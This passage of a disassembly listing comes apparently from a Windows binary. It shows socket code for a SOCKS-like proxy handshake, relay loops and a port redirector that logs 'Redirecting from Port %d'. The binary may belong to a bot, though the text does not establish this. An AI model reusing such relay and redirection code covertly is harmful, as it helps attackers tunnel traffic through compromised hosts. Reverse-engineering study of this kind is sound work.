push 0 push 0 push 0 lea edx, [esp+538h+var_400] push 3FFh push edx push edi nop call near ptr 71AB2D0Fh push 10h mov esi, eax push ebx push 0 lea eax, [esp+538h+var_400] push esi push eax push 0FFFFFFFFh call ebp ; sendto test esi, esi jbe short loc_42A766 cmp esi, 0FFFFFFFFh jnz short loc_42A709 loc_42A766: ; CODE XREF: sub_42A5F0+16Fj mov esi, dword_50FC88 push edi call esi ; closesocket push 0FFFFFFFFh call esi ; closesocket pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 51Ch retn 0Ch ; --------------------------------------------------------------------------- loc_42A782: ; CODE XREF: sub_42A5F0+35j ; sub_42A5F0+86j ... pop edi pop esi pop ebp xor al, al pop ebx add esp, 51Ch retn 0Ch sub_42A5F0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42A810 proc near ; CODE XREF: sub_42B2D0:loc_4013A2j var_82C = dword ptr -82Ch var_828 = dword ptr -828h var_824 = dword ptr -824h var_820 = dword ptr -820h var_81C = byte ptr -81Ch var_81A = word ptr -81Ah var_818 = dword ptr -818h var_80C = dword ptr -80Ch var_808 = dword ptr -808h var_7E8 = dword ptr -7E8h var_7E4 = dword ptr -7E4h var_708 = byte ptr -708h var_707 = byte ptr -707h var_705 = dword ptr -705h var_604 = word ptr -604h var_600 = dword ptr -600h var_5F0 = byte ptr -5F0h var_200 = byte ptr -200h var_100 = byte ptr -100h arg_0 = dword ptr 4 sub esp, 82Ch push ebx push ebp push esi mov esi, [esp+838h+arg_0] cmp esi, 0FFFFFFFFh push edi mov ebp, ecx mov [esp+83Ch+var_828], 0 mov [esp+83Ch+var_82C], 0Bh mov [esp+83Ch+var_808], esi mov [esp+83Ch+var_80C], 1 jz loc_42AACA mov eax, [ebp-8] mov ecx, [eax+4] mov ax, [ecx+ebp-2] cmp ax, 1 jnz loc_42ABE6 mov edi, dword_50FC80 lea edx, [esp+83Ch+var_82C] push edx push 0 lea eax, [esp+844h+var_80C] push 0 push eax push 1 call edi ; select test eax, eax jle loc_42AC73 lea ecx, [esp+83Ch+var_80C] push ecx push esi call sub_436F60 ; --------------------------------------------------------------------------- dd 840FC085h, 3E3h, 16A066Ah, 0E890026Ah, 716892F5h, 89FFF883h dd 0F1C2444h, 22184h, 901D8B00h, 6A0050FCh, 24948D00h dd 240h, 5652026Ah, 0BC80D3FFh, 23C24h, 850F0500h, 1FEh dd 2484BE0Fh, 23Dh, 948DC933h, 23C24h, 248C8900h, 23Ch dd 40248C89h, 66000002h, 44248C89h, 51000002h, 88565250h dd 256248Ch, 0D3FF0000h, 26A006Ah, 44534468h, 7BE85600h dd 90716899h, 1024448Dh, 30244C8Dh, 6A006A50h, 16A5100h dd 282444C7h, 0 ; --------------------------------------------------------------------------- mov [esp+82Ch+var_808], 7 mov [esp+82Ch+var_7E4], esi mov [esp+82Ch+var_7E8], 1 call edi ; select xor eax, eax lea edx, [esp+82Ch+var_5F0] push eax mov ecx, 20h lea edi, [esp+830h+var_5F0] push 2 push edx push esi rep stosd call ebx ; socket cmp byte ptr [esp+83Ch+var_600], 1 jnz loc_42AACA movsx eax, byte ptr [esp+83Ch+var_600+1] push 0 lea ecx, [esp+840h+var_200] push eax push ecx push esi call ebx ; socket movsx edx, byte ptr [esp+83Ch+var_600+1] push 0 lea eax, [esp+840h+var_600] push 1 push eax push esi mov [esp+edx+84Ch+var_200], 0 call ebx ; socket movsx ecx, byte ptr [esp+83Ch+var_600] push 0 lea edx, [esp+840h+var_100] push ecx push edx push esi call ebx ; socket movsx eax, byte ptr [esp+83Ch+var_600] mov ecx, [ebp-8] mov [esp+eax+83Ch+var_100], 0 mov ecx, [ecx+4] add ecx, ebp call sub_4017E4 mov edi, eax lea ecx, [esp+83Ch+var_200] loc_42A9DB: ; CODE XREF: sub_42A810+1E9j mov dl, [ecx] mov al, dl cmp dl, [edi] jnz short loc_42A9FF test al, al jz short loc_42A9FB mov dl, [ecx+1] mov al, dl cmp dl, [edi+1] jnz short loc_42A9FF add ecx, 2 add edi, 2 test al, al jnz short loc_42A9DB loc_42A9FB: ; CODE XREF: sub_42A810+1D5j xor eax, eax jmp short loc_42AA04 ; --------------------------------------------------------------------------- loc_42A9FF: ; CODE XREF: sub_42A810+1D1j ; sub_42A810+1DFj sbb eax, eax sbb eax, 0FFFFFFFFh loc_42AA04: ; CODE XREF: sub_42A810+1EDj test eax, eax jz short loc_42AA61 mov eax, [ebp-8] mov ecx, [eax+4] lea ecx, [ecx+ebp+15h] call sub_4017E4 lea edi, [esp+83Ch+var_100] loc_42AA1E: ; CODE XREF: sub_42A810+22Cj mov dl, [edi] mov cl, dl cmp dl, [eax] jnz short loc_42AA42 test cl, cl jz short loc_42AA3E mov dl, [edi+1] mov cl, dl cmp dl, [eax+1] jnz short loc_42AA42 add edi, 2 add eax, 2 test cl, cl jnz short loc_42AA1E loc_42AA3E: ; CODE XREF: sub_42A810+218j xor eax, eax jmp short loc_42AA47 ; --------------------------------------------------------------------------- loc_42AA42: ; CODE XREF: sub_42A810+214j ; sub_42A810+222j sbb eax, eax sbb eax, 0FFFFFFFFh loc_42AA47: ; CODE XREF: sub_42A810+230j test eax, eax jz short loc_42AA61 push esi nop call near ptr 71AB9639h pop edi pop esi pop ebp xor al, al pop ebx add esp, 82Ch retn 4 ; --------------------------------------------------------------------------- loc_42AA61: ; CODE XREF: sub_42A810+1F6j ; sub_42A810+239j mov edi, dword_50FC8C push 0 push 2 push offset dword_445340 push esi call edi ; send lea eax, [esp+83Ch+var_82C] lea ecx, [esp+83Ch+var_80C] push eax push 0 push 0 push ecx push 1 mov [esp+850h+var_808], esi mov [esp+850h+var_80C], 1 nop call near ptr 71AB2DC0h lea edx, [esp+83Ch+var_80C] push edx push esi call sub_436F60 ; --------------------------------------------------------------------------- test eax, eax jz short loc_42AACA push 0 lea eax, [esp+840h+var_708] push 4 push eax push esi call ebx ; socket mov eax, [esp+83Ch+var_705] and eax, 0FFh dec eax jz short loc_42AB31 sub eax, 2 jz short loc_42AAD9 dec eax loc_42AAC8: ; CODE XREF: sub_42A810+31Fj jnz short loc_42AB40 loc_42AACA: ; CODE XREF: sub_42A810+32j ; sub_42A810+154j ... pop edi pop esi pop ebp xor al, al pop ebx add esp, 82Ch retn 4 ; --------------------------------------------------------------------------- loc_42AAD9: ; CODE XREF: sub_42A810+2B5j push 0 lea ecx, [esp+840h+var_600] push 1 push ecx push esi call ebx ; socket movsx edx, byte ptr [esp+83Ch+var_600] push 0 lea eax, [esp+840h+var_705+1] push edx push eax push esi call ebx ; socket movsx ecx, byte ptr [esp+83Ch+var_600] lea edx, [esp+83Ch+var_600] lea eax, [esp+83Ch+var_705+1] mov byte ptr [esp+ecx+83Ch+var_705+1], 0 mov ecx, [ebp-8] push edx push eax mov edx, [ecx+4] lea ecx, [edx+ebp-8] call sub_40174E test al, al jmp short loc_42AAC8 ; --------------------------------------------------------------------------- loc_42AB31: ; CODE XREF: sub_42A810+2B0j push 0 lea eax, [esp+840h+var_600] push 4 push eax push esi call ebx ; socket loc_42AB40: ; CODE XREF: sub_42A810:loc_42AAC8j push 0 lea ecx, [esp+840h+var_604] push 2 push ecx push esi call ebx ; socket cmp [esp+83Ch+var_707], 1 jnz loc_42AACA mov ebx, [esp+83Ch+var_820] mov dx, [esp+83Ch+var_604] mov eax, [esp+83Ch+var_600] lea ecx, [esp+83Ch+var_81C] push 10h push ecx push ebx mov word ptr [esp+848h+var_81C], 2 mov [esp+848h+var_81A], dx mov [esp+848h+var_818], eax call near ptr 71AB406Ah nop test eax, eax jnz loc_42AACA push eax push 4 push offset dword_445338 push esi call edi ; send push 0 lea edx, [esp+840h+var_600] push 4 push edx push esi call edi ; send push 0 lea eax, [esp+840h+var_604] push 2 push eax push esi call edi ; send mov ecx, [ebp-8] push ebx push esi mov edx, [ecx+4] lea ecx, [edx+ebp-8] call sub_4020C2 push ebx nop call near ptr 71AB9639h pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 82Ch retn 4 ; --------------------------------------------------------------------------- loc_42ABE6: ; CODE XREF: sub_42A810+47j cmp ax, 2 jnz loc_42AC73 mov ebx, dword_50FC80 loc_42ABF6: ; CODE XREF: sub_42A810+461j lea eax, [esp+83Ch+var_82C] lea ecx, [esp+83Ch+var_80C] push eax push 0 push 0 push ecx push 1 mov [esp+850h+var_808], esi mov [esp+850h+var_80C], 1 call ebx ; select lea edx, [esp+83Ch+var_824] lea eax, [esp+83Ch+var_81C] push edx push eax push 0 lea ecx, [esp+848h+var_600] push 3FFh push ecx push esi mov [esp+854h+var_824], 10h nop call near ptr 71AB2D0Fh mov ecx, [ebp-8] mov edi, eax lea edx, [esp+83Ch+var_600] push edi push edx mov edx, [ecx+4] lea eax, [esp+844h+var_81C] push eax lea ecx, [edx+ebp-8] call sub_401C1C test edi, edi jz short loc_42AC73 cmp edi, 0FFFFFFFFh jz short loc_42AC73 lea eax, [esp+83Ch+var_80C] push eax push esi call sub_436F60 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_42ABF6 loc_42AC73: ; CODE XREF: sub_42A810+67j ; sub_42A810+3DAj ... pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 82Ch retn 4 sub_42A810 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 120h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42ADB0 proc near ; CODE XREF: sub_401F19j var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch sub esp, 10h push esi mov esi, ecx mov eax, [esi+32h] test eax, eax jz short loc_42ADC4 xor al, al pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_42ADC4: ; CODE XREF: sub_42ADB0+Bj xor eax, eax mov ax, [esi+6] dec eax jz short loc_42ADD6 dec eax jz short loc_42ADF8 mov word ptr [esi+6], 1 loc_42ADD6: ; CODE XREF: sub_42ADB0+1Bj mov eax, 1 mov ecx, 6 loc_42ADE0: ; CODE XREF: sub_42ADB0+52j push ecx push eax push 2 nop call near ptr 71AB3B91h test eax, eax mov [esi+32h], eax jnz short loc_42AE04 xor al, al pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_42ADF8: ; CODE XREF: sub_42ADB0+1Ej mov eax, 2 mov ecx, 11h jmp short loc_42ADE0 ; --------------------------------------------------------------------------- loc_42AE04: ; CODE XREF: sub_42ADB0+3Fj mov ax, [esi+4] mov [esp+14h+var_10], 2 push eax mov [esp+18h+var_C], 0 nop call near ptr 71AB2B66h mov edx, [esi+32h] lea ecx, [esp+14h+var_10] push 10h push ecx push edx mov [esp+20h+var_E], ax nop call near ptr 71AB3E00h test eax, eax jz short loc_42AE49 mov eax, [esi+32h] push eax nop call near ptr 71AB9639h xor al, al pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_42AE49: ; CODE XREF: sub_42ADB0+86j cmp word ptr [esi+6], 1 jnz short loc_42AE71 mov ecx, [esi+32h] push 3 push ecx nop call near ptr 71AB88D3h test eax, eax jz short loc_42AE71 mov edx, [esi+32h] push edx call near ptr 71AB9639h nop xor al, al pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_42AE71: ; CODE XREF: sub_42ADB0+9Ej ; sub_42ADB0+AEj mov al, 1 pop esi add esp, 10h retn sub_42ADB0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42AEC0 proc near ; CODE XREF: sub_401DBBj var_24 = byte ptr -24h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_42AEC0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push esi push edi mov edi, ecx mov [ebp+var_10], esp mov ax, [edi+6] cmp ax, 1 jnz short loc_42AF5A mov eax, [edi+32h] mov [ebp+var_14], 10h test eax, eax jz short loc_42AF41 mov ebx, dword_50FC84 lea ecx, [ebp+var_14] lea edx, [ebp+var_24] push ecx push edx push eax call ebx ; accept mov esi, eax test esi, esi jnz short loc_42AF26 loc_42AF12: ; CODE XREF: sub_42AEC0+64j mov edx, [edi+32h] lea eax, [ebp+var_14] lea ecx, [ebp+var_24] push eax push ecx push edx call ebx ; accept mov esi, eax test esi, esi jz short loc_42AF12 loc_42AF26: ; CODE XREF: sub_42AEC0+50j mov eax, [edi] push esi mov ecx, edi mov [ebp+var_4], 0 call dword ptr [eax] push esi mov bl, al call near ptr 71AB9639h nop test bl, bl jnz short loc_42AF7A loc_42AF41: ; CODE XREF: sub_42AEC0+39j ; sub_42AEC0+9Ej ... xor al, al mov ecx, [ebp+var_C] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- loc_42AF54: ; DATA XREF: ___:00441F74o mov eax, offset loc_42AF41 retn ; --------------------------------------------------------------------------- loc_42AF5A: ; CODE XREF: sub_42AEC0+2Bj cmp ax, 2 jnz short loc_42AF41 mov eax, [edi+32h] mov edx, [edi] push eax mov ecx, edi call dword ptr [edx] mov ecx, [edi+32h] mov bl, al push ecx nop call near ptr 71AB9639h test bl, bl jz short loc_42AF41 loc_42AF7A: ; CODE XREF: sub_42AEC0+7Fj mov ecx, [ebp+var_C] pop edi pop esi mov al, 1 mov large fs:0, ecx pop ebx mov esp, ebp pop ebp retn sub_42AEC0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_42AFD0: ; CODE XREF: ___:00401F78j push ebp mov ebp, esp push 0FFFFFFFFh push offset loc_43BB90 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ebx push esi mov esi, [ebp+8] push edi mov [ebp-10h], esp mov dword ptr [ebp-4], 0 mov eax, [esi] mov ecx, [eax+4] mov eax, [ecx+esi+32h] add ecx, esi push eax mov edx, [ecx] call dword ptr [edx] mov ecx, [esi] mov edx, [ecx+4] mov eax, [edx+esi+32h] push eax nop call near ptr 71AB9639h loc_42B019: ; DATA XREF: ___:loc_42B031o mov ecx, [ebp-0Ch] pop edi pop esi mov eax, 1 mov large fs:0, ecx pop ebx mov esp, ebp pop ebp retn 4 ; --------------------------------------------------------------------------- loc_42B031: ; DATA XREF: ___:00441FD4o mov eax, offset loc_42B019 retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B060 proc near ; CODE XREF: sub_401C17j var_19C = byte ptr -19Ch var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_4 = byte ptr 8 arg_1C = byte ptr 20h push 0FFFFFFFFh push offset SEH_42B060 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 194h lea eax, [esp+1A0h+var_19C] mov [esp+1A0h+var_4], 1 push eax push 2 nop call near ptr 71AB664Dh test eax, eax jz short loc_42B0D7 loc_42B097: ; CODE XREF: ___:0042B166j lea ecx, [esp+1A0h+arg_4] mov byte ptr [esp+1A0h+var_4], 0 call sub_401226 lea ecx, [esp+1A0h+arg_1C] mov [esp+1A0h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+1A0h+var_C] mov large fs:0, ecx add esp, 1A0h retn ; --------------------------------------------------------------------------- loc_42B0D7: ; CODE XREF: sub_42B060+35j push 42h call sub_4367FA sub_42B060 endp ; --------------------------------------------------------------------------- add esp, 4 mov [esp+0], eax test eax, eax mov byte ptr [esp+19Ch], 2 jz short loc_42B0FC push 1 mov ecx, eax call sub_4014E7 jmp short loc_42B0FE ; --------------------------------------------------------------------------- loc_42B0FC: ; CODE XREF: ___:0042B0EFj xor eax, eax loc_42B0FE: ; CODE XREF: ___:0042B0FAj mov dword_50E3D8, eax mov ecx, [eax] mov byte ptr [esp+19Ch], 1 mov edx, [ecx+4] mov cx, [esp+1A4h] mov [edx+eax+4], cx mov eax, dword_50E3D8 lea edx, [esp+1A8h] mov ecx, [eax] push edx mov edx, [ecx+4] lea ecx, [edx+eax+8] call sub_40200E lea eax, [esp+1C0h] push eax mov eax, dword_50E3D8 mov ecx, [eax] mov edx, [ecx+4] lea ecx, [edx+eax+1Dh] call sub_40200E mov eax, dword_50E3D8 mov ecx, [eax] mov ecx, [ecx+4] add ecx, eax call sub_401F19 test al, al jz loc_42B097 loc_42B16C: ; CODE XREF: ___:0042B17Dj mov eax, dword_50E3D8 mov edx, [eax] mov ecx, [edx+4] add ecx, eax call sub_401DBB jmp short loc_42B16C ; --------------------------------------------------------------------------- db 90h db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B1D0 proc near ; CODE XREF: sub_4014E7j var_4 = dword ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi test eax, eax mov esi, ecx mov [esp+8+var_4], 0 jz short loc_42B1F2 lea ecx, [esi+8] mov dword ptr [esi], offset dword_43E190 call sub_4014AB loc_42B1F2: ; CODE XREF: sub_42B1D0+12j mov eax, [esi] mov ecx, [eax+4] mov dword ptr [ecx+esi], offset off_43E18C mov edx, [esi] mov eax, [edx+4] lea ecx, [eax-8] mov [eax+esi-4], ecx mov eax, esi pop esi pop ecx retn 4 sub_42B1D0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B240 proc near ; CODE XREF: sub_4014ABj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_42B240 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+8] call sub_401424 lea ecx, [esi+1Dh] mov [esp+14h+var_4], 0 call sub_401424 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43E19C mov dword ptr [esi+32h], 0 mov word ptr [esi+6], 1 mov word ptr [esi+4], 0 mov dword ptr [esi+36h], 1000h mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_42B240 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B2D0 proc near ; CODE XREF: sub_4020D1j ; FUNCTION CHUNK AT 004013A2 SIZE 00000005 BYTES sub ecx, [ecx-4] jmp loc_4013A2 sub_42B2D0 endp ; --------------------------------------------------------------------------- align 10h loc_42B2E0: ; CODE XREF: ___:00401352j push 0FFFFFFFFh push offset loc_43BC08 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+4], esi call sub_401F82 push offset off_443D80 lea ecx, [esi+11h] mov dword ptr [esp+14h], 0 mov dword ptr [esi], offset off_43E1A0 call sub_4015D7 mov ecx, [esp+8] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B350 proc near ; CODE XREF: ___:00401398j sub_401F41j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_4011BD test [esp+4+arg_0], 1 jz short loc_42B368 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_42B368: ; CODE XREF: sub_42B350+Dj mov eax, esi pop esi retn 4 sub_42B350 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_42B380 proc near ; CODE XREF: sub_4011BDj jmp sub_40179E sub_42B380 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B3A0 proc near ; CODE XREF: sub_40134Dj var_10 = byte ptr -10h mov eax, 1000h call sub_436840 push ebx push ebp push esi mov esi, ecx push edi mov eax, [esi+99h] mov cl, [eax+11Ch] test cl, cl jz short loc_42B42C mov ebx, dword_50FC90 mov ebp, dword_50FC8C loc_42B3CC: ; CODE XREF: sub_42B3A0+8Aj mov edx, [esi+9Dh] mov ecx, 400h xor eax, eax lea edi, [esp+10h] rep stosd push eax mov eax, [edx+0A5h] lea ecx, [esp+14h] push 1000h push ecx push eax call ebx ; recv test eax, eax jz short loc_42B42C cmp eax, 0FFFFFFFFh jz short loc_42B42C mov edx, [esi+9Dh] push 0 push eax lea ecx, [esp+28h+var_10] mov eax, [edx+0A1h] push ecx push eax call ebp ; send test eax, eax jz short loc_42B42C cmp eax, 0FFFFFFFFh jz short loc_42B42C mov ecx, [esi+99h] mov al, [ecx+11Ch] test al, al jnz short loc_42B3CC loc_42B42C: ; CODE XREF: sub_42B3A0+1Ej ; sub_42B3A0+55j ... mov edx, [esi+9Dh] pop edi pop esi pop ebp mov eax, [edx+0A1h] pop ebx cmp eax, 0FFFFFFFFh jz short loc_42B448 push eax nop call near ptr 71AB9639h loc_42B448: ; CODE XREF: sub_42B3A0+9Fj add esp, 1000h retn sub_42B3A0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B480 proc near ; CODE XREF: sub_401663j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_42B480 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401F82 push offset off_443D80 lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_43E1B0 call sub_4015D7 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_42B480 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B4F0 proc near ; CODE XREF: ___:004013A7j sub_401B22j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401217 test [esp+4+arg_0], 1 jz short loc_42B508 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_42B508: ; CODE XREF: sub_42B4F0+Dj mov eax, esi pop esi retn 4 sub_42B4F0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_42B520 proc near ; CODE XREF: sub_401217j jmp sub_40179E sub_42B520 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B540 proc near ; CODE XREF: sub_40152Dj var_50 = byte ptr -50h var_40 = byte ptr -40h var_30 = byte ptr -30h var_28 = dword ptr -28h var_20 = byte ptr -20h var_1C = dword ptr -1Ch var_C = byte ptr -0Ch var_A = word ptr -0Ah var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, 1014h call sub_436840 push ebx push ebp push esi mov esi, ecx push edi or edi, 0FFFFFFFFh mov eax, [esi+99h] mov [esi+0A5h], edi mov cl, [eax+11Ch] test cl, cl jz loc_42B70A mov ebx, 1 push 6 push ebx push 2 nop call near ptr 71AB3B91h cmp eax, edi mov [esi+0A5h], eax jnz short loc_42B598 mov [esi+0A5h], edi pop edi pop esi pop ebp pop ebx add esp, 1014h retn ; --------------------------------------------------------------------------- loc_42B598: ; CODE XREF: sub_42B540+45j mov dx, [esi+3Fh] xor ecx, ecx mov [esp+1Ch+var_8], ecx push edx mov [esp+20h+var_4], ecx mov word ptr [esp+20h+var_8], 2 mov [esp+20h], ecx mov [esp+20h+arg_0], ecx nop call near ptr 71AB2B66h lea ecx, [esi+43h] mov [esp+20h+var_A], ax call sub_4017E4 push eax call sub_40187F add esp, 4 cmp eax, edi mov [esp+20h+var_8], eax jnz short loc_42B5F2 mov eax, [esi+0A5h] push eax call near ptr 71AB9639h nop pop edi pop esi pop ebp pop ebx add esp, 1014h retn ; --------------------------------------------------------------------------- loc_42B5F2: ; CODE XREF: sub_42B540+98j mov edx, [esi+0A5h] lea ecx, [esp+20h+var_C] push 10h push ecx push edx nop call near ptr 71AB406Ah cmp eax, edi jnz short loc_42B622 mov eax, [esi+0A5h] push eax nop call near ptr 71AB9639h pop edi pop esi pop ebp pop ebx add esp, 1014h retn ; --------------------------------------------------------------------------- loc_42B622: ; CODE XREF: sub_42B540+C8j mov edx, [esi+0A1h] mov edi, dword_50FC50 lea ecx, [esp+2Ch+var_1C] mov [esp+2Ch+var_1C], ebx push ecx push 8004667Eh push edx call edi ; ioctlsocket mov ecx, [esi+0A5h] lea eax, [esp+38h+var_28] push eax push 8004667Eh push ecx mov [esp+44h+var_28], ebx call edi ; ioctlsocket mov edx, [esi+99h] mov al, [edx+11Ch] test al, al jz loc_42B70A mov ebx, dword_50FC90 mov ebp, dword_50FC8C loc_42B676: ; CODE XREF: sub_42B540+1BAj mov ecx, [esi+0A5h] push 0 lea eax, [esp+48h+var_20] push 1000h push eax push ecx call ebx ; recv mov edi, eax test edi, edi jz short loc_42B70A jge short loc_42B6A0 nop call near ptr 71AB94DCh cmp eax, 2733h jnz short loc_42B702 loc_42B6A0: ; CODE XREF: sub_42B540+151j mov eax, [esi+0A1h] push 0 lea edx, [esp+58h+var_30] push edi push edx push eax call ebp ; send mov edx, [esi+0A1h] push 0 lea ecx, [esp+68h+var_40] push 1000h push ecx push edx call ebx ; recv mov edi, eax test edi, edi jz short loc_42B70A jge short loc_42B6DB call near ptr 71AB94DCh nop cmp eax, 2733h jnz short loc_42B702 loc_42B6DB: ; CODE XREF: sub_42B540+18Cj mov ecx, [esi+0A5h] push 0 lea eax, [esp+78h+var_50] push edi push eax push ecx call ebp ; send mov edx, [esi+99h] mov al, [edx+11Ch] test al, al jnz loc_42B676 jmp short loc_42B70A ; --------------------------------------------------------------------------- loc_42B702: ; CODE XREF: sub_42B540+15Ej ; sub_42B540+199j push 0Ah call near ptr 2850303h nop loc_42B70A: ; CODE XREF: sub_42B540+27j ; sub_42B540+124j ... mov eax, [esi+0A1h] mov edi, dword_50FC88 cmp eax, 0FFFFFFFFh jz short loc_42B71E push eax call edi ; closesocket loc_42B71E: ; CODE XREF: sub_42B540+1D9j mov esi, [esi+0A5h] cmp esi, 0FFFFFFFFh jz short loc_42B72C push esi call edi ; closesocket loc_42B72C: ; CODE XREF: sub_42B540+1E7j pop edi pop esi pop ebp pop ebx add esp, 1014h retn sub_42B540 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 9 dup(90h) db 80h dup(0CCh) db 6Ah ; j db 0FFh db 68h ; h db 48h ; H db 0BCh ; ╪ db 43h ; C db 0 db 64h ; d db 0A1h ; ║ db 0 db 0 db 0 db 0 db 50h ; P db 64h ; d db 89h ; ┴ db 25h ; % db 0 db 0 db 0 db 0 db 51h ; Q db 56h ; V db 8Bh ; ▀ db 0F1h ; Я db 89h ; ┴ db 74h ; t db 24h ; $ db 4 db 0E8h ; Х db 0A0h ; ═ db 67h ; g db 0FDh ; Щ db 0FFh db 68h ; h db 80h ; ─ db 3Dh ; = db 44h ; D db 0 db 8Dh ; █ db 4Eh ; N db 11h db 0C7h ; г db 44h ; D db 24h ; $ db 14h db 0 db 0 db 0 db 0 db 0C7h ; г db 6 db 0C0h ; ю db 0E1h ; А db 43h ; C db 0 db 0E8h ; Х db 0DAh ; з db 5Dh ; ] db 0FDh ; Щ db 0FFh db 8Bh ; ▀ db 4Ch ; L db 24h ; $ db 8 db 8Bh ; ▀ db 0C6h ; ф db 5Eh ; ^ db 64h ; d db 89h ; ┴ db 0Dh db 0 db 0 db 0 db 0 db 83h ; ┐ db 0C4h ; д db 10h db 0C3h ; ц db 90h db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42B830: ; CODE XREF: ___:loc_4015F0j ; ___:00401FAAj push esi mov esi, ecx call sub_401B8B test byte ptr [esp+8], 1 jz short loc_42B848 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_42B848: ; CODE XREF: ___:0042B83Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_42B860 proc near ; CODE XREF: sub_401B8Bj jmp sub_40179E sub_42B860 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B880 proc near ; CODE XREF: sub_4019E2j var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_C = dword ptr -0Ch var_4 = dword ptr -4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_42B880 push eax mov large fs:0, esp sub esp, 28h push ebx push ebp push esi mov esi, ecx push edi mov eax, [esi+3Fh] lea ebx, [esi+43h] push eax mov ecx, ebx lea edi, [esi+11h] lea ebp, [esi+26h] call sub_4017E4 mov ecx, [esi+3Bh] push eax push ecx mov ecx, edi call sub_4017E4 push eax push offset aSRedirectingFr ; "[%s] Redirecting from Port %d to '%s:%d"... mov ecx, ebp call sub_4014D3 mov dl, [esi+98h] push eax mov al, [esi+97h] push edx push eax push offset byte_4D60B5 call sub_401848 add esp, 24h push 6 push 1 push 2 nop call near ptr 71AB3B91h cmp eax, 0FFFFFFFFh mov [esi+9Dh], eax jz loc_42BAB8 mov dx, [esi+3Bh] xor ecx, ecx mov [esp+44h+var_2C], ecx push edx mov [esp+48h+var_28], ecx mov word ptr [esp+48h+var_2C], 2 mov [esp+48h+var_24], ecx mov [esp+48h+var_20], ecx nop call near ptr 71AB2B66h mov ecx, [esi+9Dh] mov word ptr [esp+44h+var_2C+2], ax lea eax, [esp+44h+var_2C] push 10h push eax push ecx mov [esp+50h+var_34], 10h nop 